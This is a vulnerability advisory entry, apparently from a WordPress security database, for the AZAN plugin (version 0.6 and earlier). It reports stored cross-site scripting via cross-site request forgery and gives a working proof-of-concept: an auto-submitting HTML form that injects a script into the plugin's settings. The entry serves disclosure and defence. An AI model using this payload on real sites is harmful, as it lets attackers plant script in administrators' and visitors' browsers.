Lucene search

K
wpexploitBob MatyasWPEX-ID:19CD60DD-8599-4AF3-99DB-C42DE504606C
HistoryMay 24, 2024 - 12:00 a.m.

AZAN Plugin <= 0.6 - Stored XSS via CSRF

2024-05-2400:00:00
Bob Matyas
24
azan plugin
stored xss
csrf
admin
html
exploit

AI Score

5.9

Confidence

High

Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Make a logged in admin open an HTML file containing:

```
<body onload="document.forms[0].submit()"><form action="http://example.com/wp-admin/options-general.php?page=azan" method="post"><input type="hidden" name="azan-lat" value="1" /><input type="hidden" name="azan-lng" value="2" /><input type="hidden" name="azan_custom_cities" value='csrf<script>alert(999)</script>,2,2,3' /><input type="hidden" name="azan-city" value="32" /><input type="submit" value="Submit" /></form></body>
```

If the widget is loaded on a page, the XSS will trigger

AI Score

5.9

Confidence

High

Related for WPEX-ID:19CD60DD-8599-4AF3-99DB-C42DE504606C